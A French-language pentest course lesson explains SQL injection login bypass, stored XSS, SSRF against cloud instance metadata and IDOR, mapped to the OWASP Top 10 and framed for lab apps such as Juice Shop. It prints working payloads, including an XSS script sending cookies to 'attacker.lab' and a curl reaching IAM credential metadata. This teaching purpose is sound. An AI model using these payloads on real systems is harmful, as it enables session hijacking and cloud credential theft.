cyber / pentest-red-team
Exploitation web au-delà de l'OWASP Top 10 : bases pratiques
Explication
Ce que vous allez apprendre
- Comprendre le mécanisme exact d'un bypass d'authentification par injection SQL
- Distinguer une XSS stockée d'une XSS reflected en termes d'impact
- Reconnaître une SSRF et comprendre pourquoi elle est critique en environnement cloud
- Identifier un IDOR en comparant les droits attendus aux droits réellement appliqués
- Situer ces classes de vulnérabilités dans la classification OWASP Top 10
Dans quel contexte ?
Une CVE a été identifiée et validée sur un service précis (leçon précédente), mais une immense partie des vulnérabilités réellement exploitées en conditions réelles ne concerne pas un logiciel obsolète : elle vient d'un défaut de logique dans le CODE de l'application elle-même. C'est exactement le terrain qu'explore l'OWASP Top 10, testé ici uniquement sur des applications volontairement vulnérables comme Juice Shop ou DVWA.
D'abord, il faut comprendre le mécanisme d'une injection SQL, pas seulement la commande à taper
Une requête SQL vulnérable concatène directement l'entrée utilisateur dans sa syntaxe, sans jamais la traiter comme une simple donnée. Envoyer admin'-- comme email transforme la requête SELECT * FROM users WHERE email='admin'--' AND password='...' : tout ce qui suit -- devient un commentaire SQL, neutralisant purement et simplement la vérification du mot de passe.
Ce mécanisme — confondre donnée et code — est le fil conducteur de toute la catégorie "Injection" de l'OWASP Top 10, qu'il s'agisse de SQL, de commandes système ou de requêtes LDAP.
| Catégorie OWASP (2021) | Mécanisme central |
|---|---|
| A01 Broken Access Control | Vérifications d'autorisation absentes ou incorrectes |
| A02 Cryptographic Failures | Chiffrement faible ou absent, secrets en clair |
| A03 Injection | Entrée utilisateur interprétée comme du code |
| A05 Security Misconfiguration | Ports, panneaux debug exposés par défaut |
| A08 Software and Data Integrity | Pipelines CI/CD et mises à jour non vérifiées |
Prérequis
Cette leçon suppose une installation locale d'une application volontairement vulnérable (Juice Shop, DVWA, ou WebGoat) — jamais de test de ces techniques sur une application tierce sans autorisation explicite, conformément au cadre légal posé en leçon 1.
Une fois l'injection SQL comprise, une autre classe de faille exploite la confiance du navigateur
Une XSS (Cross-Site Scripting) stockée injecte un script malveillant qui persiste côté serveur — dans un champ commentaire, par exemple — et s'exécute ensuite chez CHAQUE visiteur qui consulte ce contenu. C'est bien plus dangereux qu'une XSS reflected, qui ne s'exécute qu'une fois, pour la victime spécifique ayant cliqué sur un lien piégé.
Il reste une vulnérabilité particulièrement critique dans le contexte cloud actuel
Piège fréquent
Une SSRF (Server-Side Request Forgery) fait exécuter une requête PAR LE SERVEUR lui-même, vers une destination choisie par l'attaquant. En environnement cloud mal configuré, cibler l'adresse spéciale 169.254.169.254 (métadonnées d'instance) peut exposer des credentials IAM temporaires — un point si critique qu'il mérite sa propre leçon dédiée à la sécurité cloud, plus loin dans ce cours.
Le dernier réflexe à acquérir : penser en termes d'autorisation, pas seulement d'authentification
Bonne pratique
Face à une API qui accepte un identifiant en paramètre (/api/invoices/1042), teste systématiquement si un utilisateur authentifié peut accéder à une ressource appartenant à un AUTRE utilisateur, simplement en changeant cet identifiant. Cette vérification simple révèle très souvent un IDOR (Insecure Direct Object Reference), une classe de faille qui ne nécessite aucun outil sophistiqué, juste une vérification systématique.
Ce socle du Top 10 maîtrisé, les deux prochaines leçons vont au-delà : désérialisation insecure, puis race conditions et abus de logique métier — des classes de vulnérabilités qui échappent souvent complètement aux scanners automatisés.
Commandes & code
Exploitation web au-delà de l'OWASP Top 10 : bases pratiques
Avant les sujets avancés, rappel pratique des classes de vulnérabilités web les plus exploitées, testées uniquement sur des applications volontairement vulnérables (Juice Shop, DVWA, WebGoat).
# SQL Injection classique - bypass d'authentification
POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded
email=admin%27--&password=anything-- La requête vulnérable côté serveur devient :
SELECT * FROM users WHERE email='admin'--' AND password='anything';
-- Tout ce qui suit -- est commenté : la vérification du mot de passe est neutralisée# XSS stocké - payload injecté dans un champ commentaire, exécuté chez chaque visiteur
<script>fetch('https://attacker.lab/steal?c='+document.cookie)</script># SSRF (Server-Side Request Forgery) - faire exécuter une requête par le serveur lui-même
curl -X POST http://192.168.56.10/api/fetch-preview -d 'url=http://169.254.169.254/latest/meta-data/iam/security-credentials/'
# Sur un cloud mal configuré, ceci peut exposer des credentials IAM temporaires# IDOR (Insecure Direct Object Reference) - accès à une ressource d'un autre utilisateur
curl -s http://192.168.56.10/api/invoices/1042 -H "Authorization: Bearer $TOKEN_USER_A"
# Si l'ID 1042 appartient à un autre utilisateur et que ça fonctionne quand même : IDOR confirmé# Table : classes OWASP Top 10 (2021) et leur mécanisme central
A01 Broken Access Control -> vérifications d'autorisation absentes/incorrectes
A02 Cryptographic Failures -> chiffrement faible/absent, secrets en clair
A03 Injection -> entrée utilisateur interprétée comme du code (SQL, OS, LDAP)
A05 Security Misconfiguration -> ports/debug/panels exposés par défaut
A08 Software and Data Integrity -> pipelines CI/CD et mises à jour non vérifiéesRésumé
- Toujours tester sur une application volontairement vulnérable, jamais en production tierce.
- SQLi, XSS, SSRF et IDOR restent les classes les plus fréquemment exploitées en conditions réelles.
- SSRF est particulièrement critique en environnement cloud (métadonnées d'instance).
- Les leçons suivantes vont au-delà de ce Top 10 : désérialisation, race conditions, logique métier.
Exercices pratiques
Mission : auditer la boutique en ligne de lab NordShield (Juice Shop)
Objectif : Identifier et démontrer une injection SQL, une IDOR et une SSRF sur une application volontairement vulnérable, sans jamais dépasser le périmètre du lab.
Contexte
NordShield a déployé une instance locale de Juice Shop pour un audit de formation interne. Tu dois documenter chaque classe de vulnérabilité rencontrée avec une preuve de concept claire, testée uniquement sur cette instance de lab.